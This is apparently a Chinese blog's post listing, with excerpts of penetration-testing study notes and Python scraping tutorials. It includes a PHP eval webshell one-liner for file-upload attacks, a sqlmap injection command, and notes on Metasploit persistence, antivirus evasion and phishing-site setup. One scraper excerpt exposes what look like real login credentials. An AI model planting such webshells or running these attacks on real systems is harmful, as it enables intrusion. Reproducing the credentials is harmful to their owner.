自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(94)
  • 收藏
  • 关注

原创 Base64 编码的特征

经过base64编码后的字符串长度一定会被4整除:1.标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;2.base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);3.等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加\0凑齐3n位。为了正确还原,添加了几个\0就加上几个等号。显然添加等号的数目只能是0、1或2;4.严格来说base64不能算是一种加密,只能说是编

2021-05-07 14:36:54 1143

原创 构造XSS脚本

构造XSS脚本弹窗警告:页面嵌套:页面重定向:window 是javascript里面的一个对象location.href =window.location.href弹窗警告并重定向用BEEF 账户密码都是root

2021-03-27 20:33:02 164

原创 中国菜刀+文件上传漏洞一句话木马

<?php @eval($_POST['chopper']);?><?php @eval($_REQUEST['cmd']);?>REQUEST是在网页端输入变量访问,POST则是使用中国菜刀之3类的工具连接,C/S架构。编辑shell的时候,主机写 localhostegrep命令:查找文件内包含指定字符的文件。中国菜刀的详细使用:文件管理,查被上传木马网站的服务器文件架构数据库管理,在编辑中配置完后,可以连接被上传木马网站的数据库(不知道,所以需要sql注入

2021-03-19 11:37:07 2274

原创 攻防世界crypto -第三题 01248云影密码

有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。作者:pigdaqiang链接:https://www.jianshu.com/p/b5aa5cf60f83来源:简书著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。python编解码#!/us

2021-03-18 16:10:38 535

原创 dhcp的过程

dhclient -r 释放地址dhclient -v eth0dhcpdiscovery: 发送广播 255.255.255.255dhcpoffer: dhcp server 192.168.149.254 提供地址 192.168.149.148dhcprequest 192.168.149.148并广播dhcpack 确认192.168.149.148 从 dhcp server 192.168.149.254eth0绑定该地址...

2021-03-17 19:17:03 83

原创 Msf 进程迁移和自动化迁移指定进程

meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化1.进程迁移在Meterpreter下输入ps(获取目标机正在运行的进程,记住目标进程的pid xxxx)输入getpid命令(查看meterpreter shell的pid调到XXXX里相对稳定应用的进程里)输入migrate xxxx (将meterpreter shell的pid调到xxxx里相对稳定应用的进程里)最后用getid再次查看下是否更换成公2.上线后自动化迁移指定进程在se

2021-03-17 17:00:07 1791

原创 shellter-kali免杀工具

/usr/share/windows-resources/shellter 这个文件夹shellter目录下的Shellter_Backups文件夹是你注入文件后备份的文件夹,会自动把原文件备份一个到这个文件夹下

2021-03-17 16:00:51 317 1

原创 kali设置一个钓鱼网站-setoolkit-社会工程学

2021-03-16 19:10:54 485

原创 MSFPC半自动化生成强大的木马Payload

MSFPC=MSFvenom Payload Creator客户端访问该IP,并下载木马。(前提没有防火墙)监听端linux 运行配置脚本(批量配置)在被攻击端点击木马,会话即建立。选择一个会话进入的命令sessions -i 1...

2021-03-16 14:16:51 1185 1

原创 TCPdump

TCPDump可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息.保存后的文件 data.pcap用wireshark打开。...

2021-03-16 11:19:03 52

原创 通过nmap的nse脚本(dns-brute.nse)扫描和收集子域名

2021-03-15 19:44:33 765

原创 httrack及在linux中通过浏览器查看文件url方式

在linux中查看文件(通过浏览器)file:///root/子路径镜像下来的网页可以在离线的方式,进行渗透分析,传统的在网站主机上浏览网页,你浏览的和摸索的时间越多,活动可能被网站跟踪,哪怕是随意的浏览网站,也会被记录踪迹,只要属于目标资源,任何时候与之直接交互,都可能留下数字痕迹。...

2021-03-12 16:55:51 315

原创 渗透测试--sqlmap数据库注入与WEB渗透环境搭建

DVWA的简介和搭建https://blog.csdn.net/qq_40023447/article/details/80960325sqlmap -u “http://192.168.149.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=ksvcpi7o0rhu9r0ij0vjjddr42” --batch --dbssqlmap -u “http://19

2021-03-09 16:56:54 136

原创 攻防世界crpto-base64和凯撒密码加密解密(新手练习区)

base64Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9base64在线解密、加密工具。https://base64.us/Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。可查看RFC2045~RFC2049,上面有MIME的详细规范。Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。采用Base64编码具有不可读性,需要解码后才能阅读。.

2021-03-08 18:51:03 938

原创 渗透测试-metasploit-smb服务扫描

2021-03-04 17:03:15 249 1

原创 渗透测试-metasploit-ssh弱口令暴力破解

一. ssh:SSH 为 Secure Shell 的缩写,SSH 为建立在应用层基础上的安全协议。SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。传统的网络服务程序,如:ftp、pop和telnet在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,别有用心的人非常容易就可以截获这些口令和数据。而且,这些服务程序

2021-03-04 16:27:49 1170 1

原创 渗透工具metasploit-auxiliary(scanner/portscan/syn)扫描端口服务

2021-03-04 11:13:38 650 1

原创 内网攻防-DNS 欺骗 (中间人攻击)

条件:1.局域网内(虚拟机的桥接模式)工具:ettercap步骤:1. vi /etc/ettercap/etter.dns把www.baidu.com 解析到192.168.0.101kali中的文件自带主页 /var/www/html/index.html,把kali开启apache2服务,service apache2 status...

2021-03-04 11:00:42 315 1

转载 mysql数据库的information_schema讲解

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。

2021-01-21 10:53:23 261

原创 网络安全--SQL注入: 判断是否有sql注入的一般过程

判断是否有sql注入的全过程。union:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。concat:功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)group_concat():...

2021-01-06 16:40:25 585

原创 数据分析--提取文件中的数据绘制成折线图--炒股

import numpy as npimport matplotlib.pyplot as mpimport datetime as dtdef dmy2ymd(dmy): dmy=str(dmy,encoding='utf-8') time=dt.datetime.strptime(dmy, '%d-%m-%Y') t=time.date().strftime('%Y-%m-%d') return tdates,opening_prices,highest_pri.

2020-07-06 19:04:31 883

原创 用selenium爬取政府民政部代码和市县名称

from selenium import webdriverimport timeimport pymysqlclass GovementSpider(object): def __init__(self): self.browser=webdriver.Chrome() self.one_url='http://www.mca.gov.cn/article/sj/xzqh/2019/' #创建数据库相关变量 self.db=p

2020-06-17 12:00:53 301

原创 京东数据爬取用selenium自动化web应用软件测试

phantomjs浏览器无界面浏览器(无头浏览器),在内存中进行页面加载,高效。from selenium import webdriverimport timeclass JdSpider(object): def __init__(self): self.browser=webdriver.Chrome() self.url='https://www.jd.com/' #获取商品页面 def get_page(self):

2020-06-15 15:45:59 284

原创 多线程爬取小米商店应用(提高爬取效率)

import requestsimport timefrom threading import Threadfrom queue import Queueimport jsonclass XiaomiSpider(object,): def __init__(self): self.url='http://app.mi.com/categotyAllListApi?page={}&categoryId=2&pageSize=30' sel

2020-06-14 15:59:14 474

原创 爬取中国民政部县级以上区划代码

在这里插入代码片import requestsfrom lxml import etreeimport pymysqlimport reclass Govement(object): def __init__(self): self.one_url='http://www.mca.gov.cn/article/sj/xzqh/2019/' self.headers={'User-Agent':'Mozilla/5.0'} self.db=p

2020-06-13 14:45:16 341

原创 人人网(带有登陆页面的网站爬取)

import requests#定义常用变量post_url='http://www.renren.com/PLogin.do'get_url='http://www.renren.com/974567592/profile'post_data={ 'email':'16601338966', 'password':'Lc829475'}headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) .

2020-06-06 17:15:57 5456

原创 爬取腾讯招聘信息(动态加载)职位

import requestsimport jsonimport timeimport randomclass TencentSpider(object): def __init__(self): self.headers={'User-Agent':'Mozilla/5.0'} self.one_url='https://careers.tencent.com/tencentcareer/api/post/Query?timestamp=159134715

2020-06-05 17:56:55 280

原创 Ajax动态加载网站数据抓取

网站特点-Ajax动态加载1.滚动鼠标滑轮时动态加载(京东商城,豆瓣电影)2.页面局部刷新(小米应用商店,腾讯招聘)分析抓取步骤#最终目标:找到Json文件的url地址1.抓包:F12->network->xhr2.触发动态加载(滚动鼠标、点击下一页。。)3.XHR中,点击右侧Preview,确定有正确数据4.点开headers#1.general:request url(json地址)#2.querystringparameters,观察查询参数的变化豆瓣电影数据抓取1

2020-06-05 15:06:13 792

原创 百度贴吧赵丽颖吧图片爬取代码

import requestsfrom lxml import etreeimport randomimport timeclass BaiduImageSpider(object): def __init__(self): self.headers={"User-Agent":'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727;

2020-05-30 17:39:01 777

原创 python爬虫(xpath)爬取链家网房源信息

import requestsfrom lxml import etreeimport timeimport randomclass LianjiaSpider(object): def __init__(self): self.url='https://bj.lianjia.com/ershoufang/pg{}/' self.headers={'User-Agent':'Mozilla/5.0'} def get_page(self,url):

2020-05-23 11:19:25 600

原创 xpath在python爬虫中的使用,获取信息根据html结构。

获取猫眼电影信息的dd节点//dl[@class=“board-wrapper”]/dd获取电影名称的xpath://dl[@class=“board-wrapper”]/dd//p[@class=“name”]/a/text()获取电影主演的xpath://dl[@class=“board-wrapper”]/dd//p[@class=“star”]/text()获取上映商检的xpath://dl[@class=“board-wrapper”]/dd//p[@class=“releaseti

2020-05-21 14:49:00 238

原创 爬虫--电影天堂案例(二级页面抓取)

1.查看是否为静态页面右键-查看网页源代码2.百度搜索:电影天堂-2019年新片-更多3.目标:一级页面1.电影名称2.电影链接二级页面**1.下载链接4.步骤:1.找url规律:https://www.dytt8.net/html/gndy/dyzz/list_23_1.htmlhttps://www.dytt8.net/html/gndy/dyzz/list_23_2...

2020-04-26 13:28:10 2322

原创 运维笔记1: Win10 + Mysql 8.0永久修改字符集(utf-8)目的:方便爬虫练习存储爬下的中文数据存储到Mysql中

2020-04-25 14:44:25 100

原创 爬取百度贴吧---迪丽热巴吧网页并保存爬取下来的网页在本地

from urllib import request,parseimport timeimport randomclass BaiduSpider(object): def __init__(self): self.url='http://tieba.baidu.com/f?kw={}&pn={}' self.headers={'User-Ag...

2020-04-23 13:04:41 4782

原创 2020/4/18 python全栈在spyder中打包文件步骤

2020-04-18 19:36:55 1022

原创 学习笔记(03):爬虫微课5小时 Python学习路线-4字符串操作

Python爬虫技术视频教程,该课程每堂课都有一个作业,包含的项目案例有家长帮142600条数据爬取与分析,全球天气数据抓取与分析,淘宝商品信息数据众数分析,12306余票查询,python软件打包exe与发布。学完此课程能让你对整个数据爬取数据分析有一个全新的了解,适当的深入则可以做这方面的工作...

2020-04-18 18:22:17 411

原创 学习笔记(02):爬虫微课5小时 Python学习路线-2字典(二:定义词典打印一周温度信息)...

Python爬虫技术视频教程,该课程每堂课都有一个作业,包含的项目案例有家长帮142600条数据爬取与分析,全球天气数据抓取与分析,淘宝商品信息数据众数分析,12306余票查询,python软件打包exe与发布。学完此课程能让你对整个数据爬取数据分析有一个全新的了解,适当的深入则可以做这方面的工作...

2020-04-18 17:58:56 369

原创 学习笔记(01):爬虫微课5小时 Python学习路线-1基本数据类型(一:定义列表打印一周温度)...

Python爬虫技术视频教程,该课程每堂课都有一个作业,包含的项目案例有家长帮142600条数据爬取与分析,全球天气数据抓取与分析,淘宝商品信息数据众数分析,12306余票查询,python软件打包exe与发布。学完此课程能让你对整个数据爬取数据分析有一个全新的了解,适当的深入则可以做这方面的工作...

2020-04-18 17:46:48 366

原创 leetocode 2020/4/10

class Solution: def uniquePathsWithObstacles(self,obstacleGrid): m=len(obstacleGrid) n=len(obstacleGrid[0]) if obstacleGrid[0][0]==1: return 0 obstacleGrid[0][0]==1 for i in range(1,m):...

2020-04-10 17:19:47 88 1

原创 leetcode 2020/4/7

class Solution: def rotateRight(self,head,k): if head is None: return None if k==0 or had.next is None: return head p=head q=head lenth=1 while p.next is not None: lenth+=1 p=p....

2020-04-07 13:48:05 76

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除